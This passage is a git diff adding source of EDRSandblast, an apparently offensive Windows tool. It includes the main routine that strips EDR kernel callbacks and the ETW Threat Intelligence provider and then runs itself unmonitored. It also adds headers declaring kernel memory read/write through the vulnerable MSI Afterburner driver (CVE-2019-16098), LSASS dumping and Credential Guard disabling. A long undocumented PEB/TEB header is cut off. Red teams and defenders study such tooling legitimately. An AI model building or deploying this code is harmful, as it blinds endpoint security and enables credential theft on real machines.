free(checkEDRDrivers); + } + + /* + * 2/3 : Starting "resursively" our process. + */ + // Re-executing the present binary, without any kernel callback nor ETWTI enabled. + _tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n")); + _tprintf(TEXT("\n\n")); + STARTUPINFO si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + memset(&pi, 0, sizeof(pi)); + // Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process. + TCHAR* currentCommandLine = GetCommandLine(); + TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver")); + + //TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const". + const SIZE_T commandLineMaxLen = 32768; + TCHAR* commandLine = (TCHAR*)calloc(commandLineMaxLen, sizeof(TCHAR)); + _tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine)); + _tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag)); + + if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, INFINITE); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + else { + _tprintf(TEXT("[!] An error occured while trying to create a new process\n")); + lpExitCode = EXIT_FAILURE; + } + free(commandLine); + + _tprintf(TEXT("\n\n")); + + /* + * 3/3 : Restoring state after execution. + */ + // By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set. + if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) { + // Restores the EDR drivers. + _tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n")); + RestoreEDRCallbacks(removedEDRDrivers); + _tprintf(TEXT("\n\n")); + + // Checks that the EDR drivers were indeed restored. + _tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n")); + checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS)); + if (!checkEDRDrivers) { + _tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n")); + } + EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose); + if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) { + _tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n")); + } + else { + _tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n")); + lpExitCode = EXIT_FAILURE; + } + free(checkEDRDrivers); + _tprintf(TEXT("\n\n")); + } + + // Renable the ETW Threat Intel provider. + // TODO : make this conditionnal, just as kernel callbacks restoring ? + if (ETWTIState) { + EnableETWThreatIntelProvider(verbose); + } + + if (removedEDRDrivers) { + free(removedEDRDrivers); + } + } + } + + // TODO : Fix Windows error 0x00000422 that happens on 1 on 2 restart after uninstall. + if (kernelMode && removeVulnDriver) { + Sleep(5000); + _tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n")); + status = UninstallVulnerableDriver(); + if (status == FALSE) { + _tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n")); + _tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), gVulnDriverServiceName); + lpExitCode = EXIT_FAILURE; + } + else { + _tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n")); + } + } + + return lpExitCode; +} \ No newline at end of file diff --git a/EDRSandblast/EDRSandblast.vcxproj b/EDRSandblast/EDRSandblast.vcxproj new file mode 100644 index 0000000..0afe1bd --- /dev/null +++ b/EDRSandblast/EDRSandblast.vcxproj @@ -0,0 +1,195 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {7e3e2ece-d1eb-43c6-8c83-b52b7571954b} + EDRSandblast + 10.0 + + + + Application + true + v142 + Unicode + x64 + + + Application + false + v142 + true + Unicode + x64 + + + Application + true + v142 + Unicode + x64 + + + Application + false + v142 + true + Unicode + x64 + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level4 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib + + + + + Level4 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib + + + + + Level4 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + Includes/ + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib + + + + + Level4 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + Includes\;%(AdditionalIncludeDirectories) + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/EDRSandblast/EDRSandblast.vcxproj.filters b/EDRSandblast/EDRSandblast.vcxproj.filters new file mode 100644 index 0000000..488530f --- /dev/null +++ b/EDRSandblast/EDRSandblast.vcxproj.filters @@ -0,0 +1,123 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {54b0d87a-da5b-4c62-99f2-30e8848bbfda} + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/EDRSandblast/Includes/CredGuard.h b/EDRSandblast/Includes/CredGuard.h new file mode 100644 index 0000000..16f2c56 --- /dev/null +++ b/EDRSandblast/Includes/CredGuard.h @@ -0,0 +1,12 @@ +#pragma once + +#include +#include + +#include +#include + +#include "Globals.h" +#include "WdigestOffsets.h" + +DWORD WINAPI disableCredGuardByPatchingLSASS(void); diff --git a/EDRSandblast/Includes/DriverOps.h b/EDRSandblast/Includes/DriverOps.h new file mode 100644 index 0000000..631b0b3 --- /dev/null +++ b/EDRSandblast/Includes/DriverOps.h @@ -0,0 +1,26 @@ +/* + +--- Driver install / uninstall functions. +--- Source and credit: https://github.com/gentilkiwi/mimikatz + +*/ + +#pragma once + +#include +#include +#include +#include + +#include "Globals.h" + +#if !defined(PRINT_ERROR_AUTO) +#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())) +#endif + +#define MAX_UNINSTALL_ATTEMPTS 3 +#define OP_SLEEP_TIME 1000 + +BOOL InstallVulnerableDriver(TCHAR* driverPath); + +BOOL UninstallVulnerableDriver(); \ No newline at end of file diff --git a/EDRSandblast/Includes/ETWThreatIntel.h b/EDRSandblast/Includes/ETWThreatIntel.h new file mode 100644 index 0000000..6b6de81 --- /dev/null +++ b/EDRSandblast/Includes/ETWThreatIntel.h @@ -0,0 +1,29 @@ +/* + +--- ETW Threat Intelligence operations. +--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider + +*/ + +#pragma once + +#include +#include +#include + +#include "Globals.h" +#include "KernelMemoryPrimitives.h" +#include "NtoskrnlOffsets.h" + +#define DISABLE_PROVIDER 0x0 +#define ENABLE_PROVIDER 0x1 + +DWORD64 GetEtwThreatIntProvRegHandleAddress(); + +DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose); + +void DisableETWThreatIntelProvider(BOOL verbose); + +void EnableETWThreatIntelProvider(BOOL verbose); + +BOOL isETWThreatIntelProviderEnabled(BOOL verbose); \ No newline at end of file diff --git a/EDRSandblast/Includes/FileVersion.h b/EDRSandblast/Includes/FileVersion.h new file mode 100644 index 0000000..53b448e --- /dev/null +++ b/EDRSandblast/Includes/FileVersion.h @@ -0,0 +1,11 @@ +#pragma once + +#include +#include +#include + +void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename); + +void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion); + +void GetWdigestVersion(TCHAR* wdigestVersion); \ No newline at end of file diff --git a/EDRSandblast/Includes/Globals.h b/EDRSandblast/Includes/Globals.h new file mode 100644 index 0000000..e70d775 --- /dev/null +++ b/EDRSandblast/Includes/Globals.h @@ -0,0 +1,3 @@ +#pragma once + +const TCHAR *gVulnDriverServiceName; \ No newline at end of file diff --git a/EDRSandblast/Includes/KernelCallbacks.h b/EDRSandblast/Includes/KernelCallbacks.h new file mode 100644 index 0000000..f81c1d7 --- /dev/null +++ b/EDRSandblast/Includes/KernelCallbacks.h @@ -0,0 +1,89 @@ +/* + +--- Kernel callbacks operations. +--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder + +*/ + +#pragma once + +#include +#include +#include + +#include "Globals.h" +#include "DriverOps.h" +#include "KernelMemoryPrimitives.h" +#include "NtoskrnlOffsets.h" + +/* +* PspCreateProcessNotifyRoutine / PspCreateThreadNotifyRoutine max: 64 callbacks +* PspLoadImageNotifyRoutine max: 8 callbacks +* Source: https://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel +*/ +#define PSP_MAX_CALLBACKS 0x40 + +struct KRNL_CALLBACK { + TCHAR const* driver; + DWORD64 callback_addr; + DWORD64 callback_struct; + DWORD64 callback_func; + BOOL removed; +}; + +struct FOUND_EDR_CALLBACKS { + DWORD64 index; + struct KRNL_CALLBACK EDR_CALLBACKS[256]; +}; + +TCHAR const* EDR_DRIVERS[]; + +BOOL isDriverEDR(TCHAR* driver); + +void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers); + +/* + +------ Process (PspCreateProcessNotifyRoutine) callbacks. + +*/ + +DWORD64 GetPspCreateProcessNotifyRoutineAddress(void); + +void EnumPspCreateProcessNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); + +void RemoveEDRProcessNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); + +/* + +------ Thread (PspCreateThreadNotifyRoutine) callbacks. + +*/ + +DWORD64 GetPspCreateThreadNotifyRoutineAddress(void); + +void EnumPspCreateThreadNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); + +void RemoveEDRThreadNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); + +/* + +------ Image loading (PspLoadImageNotifyRoutine) callbacks. + +*/ + +DWORD64 GetPspLoadImageNotifyRoutineAddress(void); + +void EnumPspLoadImageNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); + +void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); + +/* + +------ All EDR Kernel callbacks enumeration / removal. + +*/ + +void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); + +void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); \ No newline at end of file diff --git a/EDRSandblast/Includes/KernelMemoryPrimitives.h b/EDRSandblast/Includes/KernelMemoryPrimitives.h new file mode 100644 index 0000000..4f7b641 --- /dev/null +++ b/EDRSandblast/Includes/KernelMemoryPrimitives.h @@ -0,0 +1,73 @@ +/* + +--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver. +--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp + +*/ + +#pragma once + +#include +#include +#include +#include + +#include "Globals.h" + +struct RTCORE64_MSR_READ { + DWORD Register; + DWORD ValueHigh; + DWORD ValueLow; +}; + +struct RTCORE64_MEMORY_READ { + BYTE Pad0[8]; + DWORD64 Address; + BYTE Pad1[8]; + DWORD ReadSize; + DWORD Value; + BYTE Pad3[16]; +}; + +struct RTCORE64_MEMORY_WRITE { + BYTE Pad0[8]; + DWORD64 Address; + BYTE Pad1[8]; + DWORD ReadSize; + DWORD Value; + BYTE Pad3[16]; +}; + +static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030; +static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048; +static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c; + +BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address); + +WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address); + +DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address); + +DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address); + +void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value); + +void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value); + +void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value); + +/* + +--- Kernel exploitation helpers. +--- Largely inspired from https://github.com/br-sn/CheekyBlinder +--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp + +*/ + +DWORD64 FindNtoskrnlBaseAddress(void); + +TCHAR* FindDriver(DWORD64 address, BOOL verbose); + +HANDLE GetDriverHandle(); + +DWORD64 GetFunctionAddress(LPCSTR function); \ No newline at end of file diff --git a/EDRSandblast/Includes/KernelPatternSearch.h b/EDRSandblast/Includes/KernelPatternSearch.h new file mode 100644 index 0000000..6f5d2b6 --- /dev/null +++ b/EDRSandblast/Includes/KernelPatternSearch.h @@ -0,0 +1,24 @@ +/* + +--- ntoskrnl Notify Routines' offsets search functions using patterns. +--- Ultimately not used because too unreliable and too prone to BSoD. + +*/ + +#pragma once + +#include +#include +#include + +#include "KernelMemoryPrimitives.h" + +DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask); + +DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset); + +DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void); + +DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void); + +DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void); \ No newline at end of file diff --git a/EDRSandblast/Includes/LSASSDump.h b/EDRSandblast/Includes/LSASSDump.h new file mode 100644 index 0000000..2b8f174 --- /dev/null +++ b/EDRSandblast/Includes/LSASSDump.h @@ -0,0 +1,15 @@ +/* + +--- LSASS dump functions. + +*/ + +#pragma once + +#include +#include +#include +#include +#include + +DWORD WINAPI dumpLSASSProcess(void* data); \ No newline at end of file diff --git a/EDRSandblast/Includes/NtoskrnlOffsets.h b/EDRSandblast/Includes/NtoskrnlOffsets.h new file mode 100644 index 0000000..5cdc974 --- /dev/null +++ b/EDRSandblast/Includes/NtoskrnlOffsets.h @@ -0,0 +1,53 @@ +/* + +--- ntoskrnl Notify Routines' offsets from CSV functions. +--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file. + +*/ + +#pragma once + +#include +#include + +#include "Globals.h" +#include "FileVersion.h" + +enum NtoskrnlOffsetType { + CREATE_PROCESS_ROUTINE = 0, + CREATE_THREAD_ROUTINE = 1, + LOAD_IMAGE_ROUTINE = 2, + PROTECTION_LEVEL = 3, + ETW_THREAT_INT_PROV_REG_HANDLE = 4, + ETW_REG_ENTRY_GUIDENTRY = 5, + ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6, + _SUPPORTED_NTOSKRNL_OFFSETS_END +}; + +union NtoskrnlOffsets { + // structure version of ntoskrnl.exe's offsets + struct { + // ntoskrnl's PspCreateProcessNotifyRoutine + DWORD64 pspCreateProcessNotifyRoutine; + // ntoskrnl's PspCreateThreadNotifyRoutine + DWORD64 pspCreateThreadNotifyRoutine; + // ntoskrnl's PspLoadImageNotifyRoutine + DWORD64 pspLoadImageNotifyRoutine; + // ntoskrnl EPROCESS's _PS_PROTECTION + DWORD64 ps_protection; + // ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle + DWORD64 etwThreatIntProvRegHandle; + // ntoskrnl _ETW_REG_ENTRY's GuidEntry + DWORD64 etwRegEntry_GuidEntry; + // ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo + DWORD64 etwGuidEntry_ProviderEnableInfo; + } st; + + // array version (usefull for code factoring) + DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END]; +}; + +union NtoskrnlOffsets ntoskrnlOffsets; + +// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. +union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename); \ No newline at end of file diff --git a/EDRSandblast/Includes/PEBBrowse.h b/EDRSandblast/Includes/PEBBrowse.h new file mode 100644 index 0000000..96bf407 --- /dev/null +++ b/EDRSandblast/Includes/PEBBrowse.h @@ -0,0 +1,14 @@ +#pragma once +#include "Undoc.h" + +LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr); +LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name); +LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr); + +#if _WIN64 +PEB64* getPEB(); +TEB64* getTEB(); +#else +PEB* getPEB(void); +TEB* getTEB(void); +#endif \ No newline at end of file diff --git a/EDRSandblast/Includes/PEParser.h b/EDRSandblast/Includes/PEParser.h new file mode 100644 index 0000000..8b1a822 --- /dev/null +++ b/EDRSandblast/Includes/PEParser.h @@ -0,0 +1,50 @@ +#pragma once +#include + +typedef unsigned __int64 QWORD; + + +typedef struct _IMAGE_RELOCATION_ENTRY { + WORD Offset : 12; + WORD Type : 4; +} IMAGE_RELOCATION_ENTRY; + +typedef struct PE_relocation_t { + DWORD RVA; + WORD Type : 4; +} PE_relocation; + +typedef struct PE_pointers { + BOOL isMemoryMapped; + BOOL isInAnotherAddressSpace; + HANDLE hProcess; + PVOID baseAddress; + //headers ptrs + IMAGE_DOS_HEADER* dosHeader; + IMAGE_NT_HEADERS* ntHeader; + IMAGE_OPTIONAL_HEADER* optHeader; + IMAGE_DATA_DIRECTORY* dataDir; + IMAGE_SECTION_HEADER* sectionHeaders; + //export info + IMAGE_EXPORT_DIRECTORY* exportDirectory; + LPDWORD exportedNames; + DWORD exportedNamesLength; + LPDWORD exportedFunctions; + LPWORD exportedOrdinals; + //relocations info + DWORD nbRelocations; + PE_relocation* relocations; +} PE; + +PE* PE_create(PVOID imageBase, BOOL isMemoryMapped); +PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase); +PVOID PE_RVA_to_Addr(PE* pe, DWORD rva); +DWORD PE_Addr_to_RVA(PE* pe, PVOID addr); +IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva); +IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable); +DWORD PE_functionRVA(PE* pe, LPCSTR functionName); +PVOID PE_functionAddr(PE* pe, LPCSTR functionName); +VOID PE_parseRelocations(PE* pe); +VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress); +PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize); +PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize); \ No newline at end of file diff --git a/EDRSandblast/Includes/RunAsPPL.h b/EDRSandblast/Includes/RunAsPPL.h new file mode 100644 index 0000000..1c93825 --- /dev/null +++ b/EDRSandblast/Includes/RunAsPPL.h @@ -0,0 +1,88 @@ +/* + +--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light). +--- The code to locate the EPROCESS structure is adapted from: + http://blog.rewolf.pl/blog/?p=1683 + +*/ + +#pragma once + +#include +#include +#include + +#include "Globals.h" +#include "KernelMemoryPrimitives.h" +#include "NtoskrnlOffsets.h" + +//extern union NtoskrnlOffsets ntoskrnlOffsets; + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#endif +#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 + +#define PROTECTED_PROCESS_MASK 0x00000800 + +/* +* Defines the NtQuerySystemInformation function. +* Undocumented function with a signature subject to possible change in futher Windows versions. +*/ +#define SystemHandleInformation 0x10 +#define SystemHandleInformationBaseSize 0x1000 + +typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + +/* +* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm +*/ +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +/* +* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle.htm +*/ +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; + +/* +* Defines the structures related to the process protection (EPROCESS's Protection attribute). +* Source: https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess +*/ +typedef enum _PS_PROTECTED_TYPE { + PsProtectedTypeNone = 0, + PsProtectedTypeProtectedLight = 1, + PsProtectedTypeProtected = 2 +} PS_PROTECTED_TYPE, * PPS_PROTECTED_TYPE; + +typedef enum _PS_PROTECTED_SIGNER { + PsProtectedSignerNone = 0, + PsProtectedSignerAuthenticode, + PsProtectedSignerCodeGen, + PsProtectedSignerAntimalware, + PsProtectedSignerLsa, + PsProtectedSignerWindows, + PsProtectedSignerWinTcb, + PsProtectedSignerWinSystem, + PsProtectedSignerApp, + PsProtectedSignerMax +} PS_PROTECTED_SIGNER, * PPS_PROTECTED_SIGNER; + +DWORD64 GetSelfEPROCESSAddress(BOOL verbose); + +int SetCurrentProcessAsProtected(BOOL verbose); \ No newline at end of file diff --git a/EDRSandblast/Includes/Undoc.h b/EDRSandblast/Includes/Undoc.h new file mode 100644 index 0000000..71fcafc --- /dev/null +++ b/EDRSandblast/Includes/Undoc.h @@ -0,0 +1,1155 @@ +#pragma once +// +// [TEB/PEB/SEH SUMMARY] +// This file contains the undocumented TEB (Thread Environment Block) and PEB (Process Environment Block) +// definitions for the Intel x86 32-bit Windows operating systems starting from NT 3.51 through Windows 10. The TEB +// is also known as the TIB (Thread Information Block), especially under the Windows 9.x operating systems. +// +// Additionally I have added the definitions for the partially documented Win32 SEH (Structured Exception Handling) +// that are not only referenced by the TEB, but are normally strewn across both C headers and assembler includes. +// These definitions also include the constants specific to the Visual C++ compiler's implementation of Win32 +// SEH beyond the facilities provided by the Windows operating systems. The TEB and PEB are declared near the +// bottom of this file, with all referenced structures recursively defined above them for completeness sake. +// +// Should you be writing low level code, you might find all of these definitions in one spot a handy reference. If +// you wanted to use this C header file in your own code, you'd probably want to remove the redundant definitions +// (almost all except for the TEB and PEB structures) as they are defined automatically as a result of including +// windows.h. If you won't be including windows.h or are compiling with GCC under Linux, no changes are +// necessary. +// +// [WINDOWS COMPATIBILITY] +// Both the TEB and PEB structures support Windows NT 3.51 thru Windows 10 +// +// [HOW TO ACCESS THESE STRUCTURES] +// The pointers to these structures can be obtained using the following x86 assembly code: +// mov eax, fs:[18h] //eax = TEB +// mov eax, fs:[30h] //eax = PEB +// +// Or, by using the following Visual C++ compiler intrinsics: +// void* pTeb = __readfsdword(0x18); +// void* pPeb = __readfsdword(0x30); +// +// [BUGS] +// This header file is meant mostly for documentation purposes as an alternative to the various tables found +// online; therefore it may contain bugs such that certain members might not be at the offsets stated in the +// comments because I may have forgotten to pad prior members so that everything lines up. However, I did attempt +// to have all the members line up as documented by each member's offset (see comment to right of each member), so +// please report any bugs or additions to: http://bytepointer.com/contact.htm +// +// [STYLE USED IN THIS FILE] +// I modified the structures included in this file either from the original official forms found in the Windows +// headers or from various sources online, although the result is functionally equivalent. The modifications were +// made according to the following scheme for simplicity and clarity: +// +// - array size values are in hex (base-16) +// +// - I avoided creating extraneous pointer types either standalone or as part of the trailing portions of structure +// definitions. These take the format Pxxxx where xxxx is the type. Microsoft has historically declared Pxxxx +// definitions for practically every Windows structure in place of the type identifier with a trailing asterisk. +// I've always found the trailing asterisk signifying a pointer type to be clearer than the Pxxxx alternative +// because you can quickly spot them at a glance (especially when syntax hilighting kicks in). +// +// - Windows headers use many aliases for 8, 16, 32 and 64-bit values (UCHAR, ULONG, ULONG_PTR, LONG, LONGLONG, etc.) +// which are inconsistent at times. I tend to prefer the explicitly specific assembler names: BYTE, WORD, DWORD and +// QWORD as they are more platform independent names for unsigned values. Any signed integer type consisting of +// the term LONG (especially the recursive LONGLONG) just makes me cringe because I don't feel they convey size +// very well. My naming scheme is therefore: +// +// BYTE-SIZE 1 2 4 8 +// unsigned integer types: BYTE, WORD, DWORD and QWORD +// signed integer types: CHAR, INT16, INT32 and INT64 +// +// NOTE: void* and DWORD may be used interchangeably on 32-bit operating systems, however I attempted +// to use void* (or typed structure pointer where possible) where I was sure the member was to +// hold a pointer. Otherwise and where members were to hold padding ints (of any size), I +// avoided the use of pointer types even when originally declared to be of type PVOID. Also I +// retained the use of some aliases, such as BOOLEAN, NTSTATUS, HANDLE, etc. only for the +// purpose of preserving the meaning of the associated structure members. +// +// [MICROSOFT FIRST DOCUMENTS THE TEB and PEB] +// Starting with the release of Visual Studio .NET (2002), Microsoft released a new header, winternl.h +// with the Platform SDK. Within this new header was the first public documentation for the TEB and PEB. +// Microsoft, being legally forced to disclose this information, only released 2 members of the PEB +// (BeingDebugged,SessionId) and 3 members of the TEB (TlsSlots,ReservedForOle,TlsExpansionSlots). +// The original portion of the winternl.h header file is shown below along with Microsoft's usual stern +// warnings about not using these fields because Windows might change. +// +// // +// // The PEB and TEB structures are subject to changes between Windows +// // releases, thus the fields offsets may change as well as the Reserved +// // fields. The Reserved fields are reserved for use only by the Windows +// // operating systems. Do not assume a maximum size for the structures. +// // +// +// // Instead of using the BeingDebugged field, use the Win32 APIs +// // IsDebuggerPresent, CheckRemoteDebuggerPresent +// // Instead of using the SessionId field, use the Win32 APIs +// // GetCurrentProcessId and ProcessIdToSessionId +// // Sample x86 assembly code that gets the SessionId (subject to change +// // between Windows releases, use the Win32 APIs to make your application +// // resilient to changes) +// // mov eax,fs:[00000018] +// // mov eax,[eax+0x30] +// // mov eax,[eax+0x1d4] +// // +// typedef struct _PEB { +// BYTE Reserved1[2]; +// BYTE BeingDebugged; +// BYTE Reserved2[229]; +// PVOID Reserved3[59]; +// ULONG SessionId; +// } PEB, *PPEB; +// +// // Instead of using the Tls fields, use the Win32 TLS APIs +// // TlsAlloc, TlsGetValue, TlsSetValue, TlsFree +// // +// // Instead of using the ReservedForOle field, use the COM API +// // CoGetContextToken +// // +// typedef struct _TEB { +// BYTE Reserved1[1952]; +// PVOID Reserved2[412]; +// PVOID TlsSlots[64]; +// BYTE Reserved3[8]; +// PVOID Reserved4[26]; +// PVOID ReservedForOle; // Windows 2000 only +// PVOID Reserved5[4]; +// PVOID TlsExpansionSlots; +// } TEB; +// typedef TEB *PTEB; +// +// [REFERENCES] +// The information below was compiled from various sources: +// http://www.geoffchappell.com/studies/windows/win32/ntdll/structs/teb/index.htm +// http://www.geoffchappell.com/studies/windows/win32/ntdll/structs/peb/index.htm +// http://terminus.rewolf.pl/terminus/structures/ntdll/_TEB32_x86.html +// https://en.wikipedia.org/wiki/Win32_Thread_Information_Block +// http://www.nirsoft.net/kernel_struct/vista/index.html +// Microsoft's Platform SDK headers / MSDN +// +// [CHANGELIST] +// 2018-10-23: -bugfix: PEB_LDR_DATA struct had "Initialized" member as one BYTE instead of array of 4 BYTE's; also added offsets +// +// 2018-09-17: -extended PEB for some Win10 members: TppWorkerpListLock, TppWorkerpList, WaitOnAddressHashTable +// +// 2018-04-14: -offset 0x3 into PEB structure contained a byte bitfield whose last member 